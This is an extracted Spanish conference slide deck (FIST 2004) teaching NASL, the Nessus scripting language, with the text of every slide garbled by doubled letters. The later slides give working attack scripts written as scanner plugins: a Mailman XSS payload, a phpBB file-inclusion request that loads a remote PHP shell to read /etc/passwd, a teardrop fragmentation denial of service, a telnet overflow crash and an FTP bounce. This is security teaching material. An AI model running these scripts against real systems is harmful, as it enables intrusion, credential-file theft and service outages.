Date post: | 26-Dec-2014 |
Category: |
Technology |
Upload: | conferencias-fist |
View: | 111 times |
Download: | 0 times |
FIST Conference Abril 2004
NASLNASLlenguaje de desarrollo de exploitslenguaje de desarrollo de exploits
Rafael San Miguel CarrascoRafael San Miguel Carrasco
FIST Conference Abril 2004
Tareas típicas del Tareas típicas del exploit devexploit dev ::
•• escribir las cabeceras de un datagrama IPescribir las cabeceras de un datagrama IP•• implementar un diálogo HTTPimplementar un diálogo HTTP•• capturar y procesar paquetes en modo capturar y procesar paquetes en modo
promiscuopromiscuo•• existencia de un fichero en un servidorexistencia de un fichero en un servidor•• comprobación de desbordamientoscomprobación de desbordamientos
FIST Conference Abril 2004
Contenido:Contenido:
1) NASL, Nessus, Knowledge Base1) NASL, Nessus, Knowledge Base2) Sintaxis del lenguaje NASL2) Sintaxis del lenguaje NASL3) Librería de funciones3) Librería de funciones4) Ejemplos de programación4) Ejemplos de programación5) Consideraciones finales5) Consideraciones finales
FIST Conference Abril 2004
Nessus:Nessus:
•• Escáner de vulnerabilidadesEscáner de vulnerabilidades•• Libre distribuciónLibre distribución•• Entornos UNIXEntornos UNIX•• www.nessus.orgwww.nessus.org•• Para ampliar su capacidad: NASLPara ampliar su capacidad: NASL
NASL = Nessus Attack Scripting LanguageNASL = Nessus Attack Scripting Language
FIST Conference Abril 2004
Modelo cliente / servidor:Modelo cliente / servidor:
hostnessusd
nessus
nessus
nessus
hosthost
FIST Conference Abril 2004
Lanzamos el cliente Nessus:Lanzamos el cliente Nessus:
FIST Conference Abril 2004
Selección de Selección de pluginsplugins::
FIST Conference Abril 2004
Fijamos algunas opciones:Fijamos algunas opciones:
FIST Conference Abril 2004
Rango de direcciones IP:Rango de direcciones IP:
FIST Conference Abril 2004
Iniciamos el Iniciamos el scanscan::
FIST Conference Abril 2004
Informe de vulnerabilidades:Informe de vulnerabilidades:
FIST Conference Abril 2004
Intérprete NASL:Intérprete NASL:
•• nasl nasl ––t 192.168.0.128 script.naslt 192.168.0.128 script.nasl•• previamente lanzamos previamente lanzamos nessusdnessusd•• sólo direcciones IP permitidassólo direcciones IP permitidas•• políticas: políticas: nessusd.rulesnessusd.rules y y nessusd.usersnessusd.users
FIST Conference Abril 2004
Intérprete NASL:Intérprete NASL:
•• nasl nasl ––t 192.168.0.128 script.naslt 192.168.0.128 script.nasl•• previamente lanzamos previamente lanzamos nessusdnessusd•• sólo direcciones IP permitidassólo direcciones IP permitidas•• políticas: políticas: nessusd.rulesnessusd.rules y y nessusd.usersnessusd.users
FIST Conference Abril 2004
plugin plugin malicioso:malicioso:
hostnessusd
nessus
nessus
nessus
hosthost
script malicioso
atacante
reporte de vulnerabilidad
FIST Conference Abril 2004
Otra restricción:Otra restricción:
•• NASL no permite la ejecución de comandosNASL no permite la ejecución de comandoslocaleslocales
•• No puede utilizarse para escribir No puede utilizarse para escribir exploitsexploitsde ámbito localde ámbito local
FIST Conference Abril 2004
Knowledge BaseKnowledge Base::
•• base de datos para cada base de datos para cada hosthost•• datos relevantes para los datos relevantes para los scriptsscripts•• set_kb_item ()set_kb_item ()•• get_kb_item ()get_kb_item ()
FIST Conference Abril 2004
Atributos de la clase Atributos de la clase ServicesServices::
•• Services/wwwServices/www•• Services/ftpServices/ftp•• Services/http_proxyServices/http_proxy•• Services/imapServices/imap•• ......
FIST Conference Abril 2004
Atributos de la clase Atributos de la clase HostHost::
•• Host/OSHost/OS•• Host/deadHost/dead
•• modificado por modificado por scripts scripts de ataques DoSde ataques DoS
FIST Conference Abril 2004
Otros atributos:Otros atributos:
•• ftp/anonymousftp/anonymous•• www/frontpagewww/frontpage•• rpc/bootparamdrpc/bootparamd•• bind/versionbind/version•• ftp/root_via_cwdftp/root_via_cwd•• ......
FIST Conference Abril 2004
Sintaxis: estructuras de controlSintaxis: estructuras de control
•• if (condición) { instr.} else { instr. }if (condición) { instr.} else { instr. }•• for (inic; condición; instr) { instr. }for (inic; condición; instr) { instr. }•• while (condición) { instr. }while (condición) { instr. }•• foreach elemento (array) { instr. }foreach elemento (array) { instr. }•• repeat { instr. } until (condición);repeat { instr. } until (condición);•• operador x:operador x:
•• send_packet (udp) x 30send_packet (udp) x 30
FIST Conference Abril 2004
Sintaxis: tipos de datosSintaxis: tipos de datos
•• No se manejan explícitamente (Perl)No se manejan explícitamente (Perl)•• Asignaciones:Asignaciones:
•• a = 100;a = 100;•• nombre = “Rafael”;nombre = “Rafael”;•• bytes = raw_string (0x41, 0x01, 0xFF);bytes = raw_string (0x41, 0x01, 0xFF);
•• ¡No hay estructuras de datos!¡No hay estructuras de datos!
FIST Conference Abril 2004
Sintaxis: Sintaxis: arraysarrays
•• a [1] = 450;a [1] = 450;•• b = “cadena”;b = “cadena”;•• if (b [2] == “a”)if (b [2] == “a”)•• if (a [1] == 450)if (a [1] == 450)•• Caso 1 : b [2] = “o”;Caso 1 : b [2] = “o”;•• Caso 2 : b = insstr (b, “o”, 1, 1);Caso 2 : b = insstr (b, “o”, 1, 1);
FIST Conference Abril 2004
Sintaxis: funcionesSintaxis: funciones
•• posibilidad de definir funcionesposibilidad de definir funciones•• existen limitaciones en la llamada a lasexisten limitaciones en la llamada a las
funciones definidas por el programadorfunciones definidas por el programador•• sintaxis: sintaxis:
function suma (a, b) function suma (a, b) { { instr.instr.
return (valor);return (valor);}}
FIST Conference Abril 2004
Sintaxis: funciones no anónimasSintaxis: funciones no anónimas
•• no importa el orden y número de argumentosno importa el orden y número de argumentosespecificados en la llamadaespecificados en la llamada
•• debe indicarse el nombre de los argumentos:debe indicarse el nombre de los argumentos:send (data: “hola”, socket: s);send (data: “hola”, socket: s);
•• si faltan datos: se solicitan en tiempo desi faltan datos: se solicitan en tiempo deejecuciónejecución
FIST Conference Abril 2004
Librería de funciones: clasificaciónLibrería de funciones: clasificación
•• manipulación de cadenasmanipulación de cadenas•• socketssockets•• raw socketsraw sockets•• protocolos http, ftp, telnetprotocolos http, ftp, telnet•• funciones criptográficasfunciones criptográficas•• funciones “vínculo” con Nessus funciones “vínculo” con Nessus
FIST Conference Abril 2004
Funciones: manipulación de cadenasFunciones: manipulación de cadenas
•• operadores ==, <, >operadores ==, <, >•• operador ><operador ><
•• if (“Access denied” >< respuesta)if (“Access denied” >< respuesta)•• ereg ()ereg () y y egrep ()egrep () para para pattern matchingpattern matching•• crap : crap : para testear desbordamientospara testear desbordamientos
•• crap (length: 1000, data: “bla”);crap (length: 1000, data: “bla”);
FIST Conference Abril 2004
Funciones: Funciones: socketssockets
•• send (), recv ()send (), recv () sin dirección IP destinosin dirección IP destino•• recv_line (recv_line (socket: s, length: 100, timeout: 5socket: s, length: 100, timeout: 5););•• get_port_state (port)get_port_state (port)•• tcp_ping ()tcp_ping ()•• open_priv_sock_udp (srcport, dstport)open_priv_sock_udp (srcport, dstport)
•• flag flag MSG_OOB en MSG_OOB en send () send () ¿Por qué?¿Por qué?
FIST Conference Abril 2004
Funciones: Funciones: raw socketsraw sockets
•• protocolos soportados:protocolos soportados:ICMP, IGMP, TCP, UDP, IPICMP, IGMP, TCP, UDP, IP
•• funciones funciones forge_X_packet ()forge_X_packet ()•• pcap_next ()pcap_next ()•• funciones funciones get_X_elements ()get_X_elements ()•• insert_ip_options ()insert_ip_options ()•• send_packet ()send_packet ()
FIST Conference Abril 2004
Funciones: http, ftp, telnetFunciones: http, ftp, telnet
•• ftp_log_in (usuario, password)ftp_log_in (usuario, password)•• telnet_init ()telnet_init ()•• http_get (), http_post (), http_head (), ...http_get (), http_post (), http_head (), ...•• is_cgi_installed (“/cgiis_cgi_installed (“/cgi--bin/search.cgi”)bin/search.cgi”)•• cgi_dirs ()cgi_dirs ()
http_get (port: 80, item: “/cgihttp_get (port: 80, item: “/cgi--bin/search.cgi”, bin/search.cgi”, data: “query=hola”);data: “query=hola”);
¡No podemos simular servidores!¡No podemos simular servidores!
FIST Conference Abril 2004
Funciones: criptográficasFunciones: criptográficas
•• digests MD2, MD4, MD5digests MD2, MD4, MD5•• digest SHAdigest SHA--11•• digest cifrado HMACdigest cifrado HMAC
HMAC_DSS, HMAC_MD2, HMAC_MD4,HMAC_DSS, HMAC_MD2, HMAC_MD4,HMAC_MD5, HMAC_RIPEMD160, ...HMAC_MD5, HMAC_RIPEMD160, ...
FIST Conference Abril 2004
Funciones: integración con NessusFunciones: integración con Nessus
•• script_category ()script_category ()•• script_family ()script_family ()•• script_bugtraq_id ()script_bugtraq_id ()•• script_cve_id ()script_cve_id ()•• script_dependencies ()script_dependencies ()
FIST Conference Abril 2004
Funciones: integración con NessusFunciones: integración con Nessus
•• security_hole (descr., puerto)security_hole (descr., puerto)•• security_warning (descr., puerto)security_warning (descr., puerto)•• security_note (descr., puerto)security_note (descr., puerto)
FIST Conference Abril 2004
Ejemplo: XSS en MailmanEjemplo: XSS en Mailman
Pasos:Pasos:•• comprobar la existencia del comprobar la existencia del scriptscript
vulnerablevulnerable•• enviar petición GET con códigoenviar petición GET con código
HTML/JavascriptHTML/Javascript•• comprobar respuesta del servidorcomprobar respuesta del servidor
FIST Conference Abril 2004
Ejemplo: XSS en MailmanEjemplo: XSS en Mailmanpuerto = 80;puerto = 80;cadena = "<script>alert(document.domain)</script>";cadena = "<script>alert(document.domain)</script>";url = "/cgiurl = "/cgi--bin/listinfo";bin/listinfo";
display ("display ("\\nMailman XSS bug testnMailman XSS bug test\\nn----------------------------------------\\n");n");
if (is_cgi_installed (url, puerto) ) {if (is_cgi_installed (url, puerto) ) {
display ("info: listinfo existe en la version de mailman instaladisplay ("info: listinfo existe en la version de mailman instaladada\\n");n");
socket = open_sock_tcp (puerto);socket = open_sock_tcp (puerto);peticion = http_get (item : "/cgipeticion = http_get (item : "/cgi--bin/listinfo/" + cadena, port : puerto);bin/listinfo/" + cadena, port : puerto);rsend = send (socket : socket, data : peticion);rsend = send (socket : socket, data : peticion);rrecv = recv (socket : socket, length : 32000);rrecv = recv (socket : socket, length : 32000);close(socket);close(socket);
FIST Conference Abril 2004
Ejemplo: XSS en MailmanEjemplo: XSS en Mailmanif (cadena >< rrecv)if (cadena >< rrecv)
{ { display ("info: esta version de mailman es vulnerable a XSSdisplay ("info: esta version de mailman es vulnerable a XSS\\nn\\n");n");
} else {} else {display ("info: version NO vulnerable de mailmandisplay ("info: version NO vulnerable de mailman\\nn\\n");n");
}}
return (0);return (0);}}
display ("mailman no esta instalado en el servidordisplay ("mailman no esta instalado en el servidor\\nn\\n");n");
FIST Conference Abril 2004
Ejemplo: XSS en MailmanEjemplo: XSS en Mailman
FIST Conference Abril 2004
Ejemplo: XSS en MailmanEjemplo: XSS en Mailman
Integración con Nessus:Integración con Nessus:•• bloque bloque ifif : registro en : registro en nessusdnessusdif(description)if(description)
{ {
script_name(english:"Mailman XSS bug test"); script_name(english:"Mailman XSS bug test"); script_description(english:"Comprobaciscript_description(english:"Comprobacióón del fallo de XSS en Mailman");n del fallo de XSS en Mailman");script_summary(english:script_summary(english:““PeticiPeticióón GET con cn GET con cóódigo HTML/JavaScript");digo HTML/JavaScript");script_category(ACT_ATTACK); script_family(english:"Misc."); script_category(ACT_ATTACK); script_family(english:"Misc."); script_copyright(english:"Rafael San Miguel Carrasco"); script_copyright(english:"Rafael San Miguel Carrasco"); exit(0);exit(0);
}}
FIST Conference Abril 2004
Ejemplo: XSS en MailmanEjemplo: XSS en Mailman
Integración con Nessus:Integración con Nessus:•• notificacinotificacióón a Nessusn a Nessus
if (if (cadena >< rrecvcadena >< rrecv) ) { {
report = report = ““Mailman es vulnerable a XSS"; Mailman es vulnerable a XSS"; security_hole (port: 80, data:report); security_hole (port: 80, data:report);
} }
•• copiamos el .nasl copiamos el .nasl /usr/lib/nessus/plugins/usr/lib/nessus/plugins•• relanzamos relanzamos nessusdnessusd
FIST Conference Abril 2004
Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBB
•• servidor web propioservidor web propio•• shellshell PHP de PHP de www.planetwww.planet--sourcesource--code.code.comcom
<php passthru (<php passthru (‘‘cat /etc/passwdcat /etc/passwd’’) ?>) ?>
FIST Conference Abril 2004
Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBB
Pasos:Pasos:•• comprobar la existencia del PHPcomprobar la existencia del PHP
vulnerablevulnerable•• enviar petición GET con parámetrosenviar petición GET con parámetros
adecuadosadecuados•• verificar que en la respuesta del servidorverificar que en la respuesta del servidor
aparece la cadena “root”aparece la cadena “root”
FIST Conference Abril 2004
Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBBpuerto = 80;puerto = 80;cadena = "phpbb_root_path=http://www.solucionescadena = "phpbb_root_path=http://www.soluciones--seguras.com/&phpEx=php";seguras.com/&phpEx=php";url = "/album_portal.php";url = "/album_portal.php";
display ("display ("\\nphpBB Modified Insertion Bug TestnphpBB Modified Insertion Bug Test\\nn------------------------------------------------------\\n");n");
if (is_cgi_installed (url, puerto) ) {if (is_cgi_installed (url, puerto) ) {
display ("info: phpBB esta instalado en el servidor display ("info: phpBB esta instalado en el servidor \\n");n");
socket = open_sock_tcp (puerto);socket = open_sock_tcp (puerto);peticion = http_get (item : url + "?" peticion = http_get (item : url + "?" + cadena, port : puerto);+ cadena, port : puerto);rsend = send (socket : socket, data : peticion);rsend = send (socket : socket, data : peticion);rrecv = recv (socket : socket, length : 32000);rrecv = recv (socket : socket, length : 32000);close(socket);close(socket);
FIST Conference Abril 2004
Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBBif ("root" >< rrecv)if ("root" >< rrecv){{
display ("info: se ha conseguido el fichero /etcdisplay ("info: se ha conseguido el fichero /etc/passwd del servidor/passwd del servidor\\n");n");# pattern matching# pattern matching
display (egrep (pattern: "^root*", string: rrecv) );display (egrep (pattern: "^root*", string: rrecv) );display ("display ("\\nn\\n");n");
} else {} else {display ("info: la version no es vulnerabledisplay ("info: la version no es vulnerable\\nn\\n");n");
}}
return (0);return (0);}}
FIST Conference Abril 2004
Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBB
FIST Conference Abril 2004
Integración con Nessus:Integración con Nessus:•• bloque bloque ifif de registro en de registro en nessusdnessusd•• llamada a llamada a security_hole ()security_hole () si el ataquesi el ataque
tiene tiene ééxitoxito•• copiamos el .nasl copiamos el .nasl /usr/lib/nessus/plugins/usr/lib/nessus/plugins•• relanzamos relanzamos nessusdnessusd
Ejemplo: Inserción PHP en phpBBEjemplo: Inserción PHP en phpBB
FIST Conference Abril 2004
Ejemplo: Ejemplo: teardropteardrop
•• ataque DoS que afecta a los ataque DoS que afecta a los stacksstacksTCP/IP de algunos sistemas operativosTCP/IP de algunos sistemas operativos
•• fallo en el algoritmo de ensambladofallo en el algoritmo de ensamblado•• implementación del implementación del exploitexploit::
•• datagrama UDP 1:datagrama UDP 1:•• payload N bytes, offset 0, MF onpayload N bytes, offset 0, MF on
•• datagrama UDP 2:datagrama UDP 2:•• payload < N, offset < N, MF offpayload < N, offset < N, MF off
FIST Conference Abril 2004
Ejemplo: Ejemplo: teardropteardropMAGIC = 2;MAGIC = 2;IPH = 20;IPH = 20;UDPH = 8;UDPH = 8;PADDING = 0x1c;PADDING = 0x1c;MAGIC = 0x3;MAGIC = 0x3;IP_ID = 242;IP_ID = 242;sport = 123;sport = 123;dport = 137;dport = 137;
LEN = IPH + UDPH + PADDING;LEN = IPH + UDPH + PADDING;
src = this_host();src = this_host();ip = forge_ip_packet(ip_v : 4,ip = forge_ip_packet(ip_v : 4,
ip_hl : 5,ip_hl : 5, ip_tos : 0,ip_tos : 0, ip_id : IP_ID,ip_id : IP_ID, ip_len : LEN,ip_len : LEN,ip_off : IP_MF,ip_off : IP_MF, ip_p : IPPROTO_UDP,ip_p : IPPROTO_UDP, ip_src : src,ip_src : src,ip_ttl : 0x40);ip_ttl : 0x40);
FIST Conference Abril 2004
Ejemplo: Ejemplo: teardropteardropLEN = UDPH + PADDING;LEN = UDPH + PADDING;udp1 = forge_udp_packet(ip : ip,udp1 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport,uh_sport : sport, uh_dport : dport, uh_len : LEN);uh_len : LEN);
LEN = IPH + MAGIC + 1;LEN = IPH + MAGIC + 1;set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC);set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC);
LEN = UDPH + PADDING; LEN = UDPH + PADDING; udp2 = forge_udp_packet(ip : ip,udp2 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_sport : sport, uh_dport : dport, uh_len : LEN);uh_len : LEN);
start_denial();start_denial();send_packet(udp1,udp2, pcap_active:FALSE) x 500;send_packet(udp1,udp2, pcap_active:FALSE) x 500;alive = end_denial();alive = end_denial();
if(!alive) {if(!alive) {set_kb_item(name:"Host/dead", value:TRUE);set_kb_item(name:"Host/dead", value:TRUE);security_hole(0);security_hole(0);
}}
FIST Conference Abril 2004
Ejemplo: Ejemplo: overflowoverflow en BFTelneten BFTelnet
•• nombre de usuario muy largonombre de usuario muy largo•• provoca la caprovoca la caíída del servicio telnetda del servicio telnet•• fallo tfallo tíípico de muchos otros servidorespico de muchos otros servidores
(ftp, pop3, ...)(ftp, pop3, ...)
FIST Conference Abril 2004
Ejemplo: Ejemplo: overflowoverflow en BFTelneten BFTelnetport = get_kb_item ("Services/telnet");port = get_kb_item ("Services/telnet");if (!port) port = 23;if (!port) port = 23;if (get_port_state(port))if (get_port_state(port)) {{
soc = open_sock_tcp(port);soc = open_sock_tcp(port);if (soc)if (soc) {{
banner = telnet_init(soc);banner = telnet_init(soc);banner = string(banner, recv(socket:soc, length:1000));banner = string(banner, recv(socket:soc, length:1000));data = string(crap(4000), "data = string(crap(4000), "\\rr\\n");n");send(socket:soc, data:data);send(socket:soc, data:data);close(soc);close(soc);
soc2 = open_sock_tcp(port);soc2 = open_sock_tcp(port);if(!soc2)if(!soc2)
security_warning(port);security_warning(port);}}
}}
FIST Conference Abril 2004
Ejemplo: Ejemplo: ftp bouncingftp bouncing
•• comando PORT para conexión de datoscomando PORT para conexión de datos(protocolo FTP)(protocolo FTP)
•• posibilidad de iniciar una conexiposibilidad de iniciar una conexióón con n con hosthost arbitrarioarbitrario
•• utilidad:utilidad:•• port scanningport scanning•• bypassbypass de las reglas de un de las reglas de un firewallfirewall
FIST Conference Abril 2004
Ejemplo: Ejemplo: ftp bouncingftp bouncingport = get_kb_item("Services/ftp");port = get_kb_item("Services/ftp");if(!port)port = 21;if(!port)port = 21;
login = get_kb_item("ftp/login");login = get_kb_item("ftp/login");password = get_kb_item("ftp/password");password = get_kb_item("ftp/password");
if (login)if (login) {{soc = open_sock_tcp(port);soc = open_sock_tcp(port);if(soc) {if(soc) {
if(ftp_log_in(socket:soc, user:login, pass:password))if(ftp_log_in(socket:soc, user:login, pass:password)) {{command = string("PORT 66,88,91,109,0,21command = string("PORT 66,88,91,109,0,21\\n");n");send(socket:soc, data:command);send(socket:soc, data:command);code = recv(socket:soc, length:4);code = recv(socket:soc, length:4);if(code == "200 ") security_hole(port);if(code == "200 ") security_hole(port);
}}close(soc);close(soc);
}}}}
FIST Conference Abril 2004
Consideraciones finales:Consideraciones finales:
•• soporte multilenguajesoporte multilenguajename["english"] = "BFTelnet DoS";name["english"] = "BFTelnet DoS";name["francais"]= "Dname["francais"]= "Dééni de service contre BFTelnet";ni de service contre BFTelnet";script_name(english:name["english"], script_name(english:name["english"],
francais:name["francais"]);francais:name["francais"]);
•• forkingforking automático y transparenteautomático y transparenteejemplo: dos puertos telnetejemplo: dos puertos telnet
FIST Conference Abril 2004
Detección de WAPs con NASL:Detección de WAPs con NASL:www.tenablesecurity.com/white_papers/wap-id-nessus.pdf
Más información sobre NASL y Nessus:Más información sobre NASL y Nessus:www.nessus.org/documentation.html
Estas transparencias:Estas transparencias:www.soluciones-seguras.comwww.fistconference.org
FIST Conference Abril 2004
Nuestra empresa: Soluciones SegurasNuestra empresa: Soluciones Seguras
FIST Conference Abril 2004
¡Muchas gracias por venir!¡Muchas gracias por venir!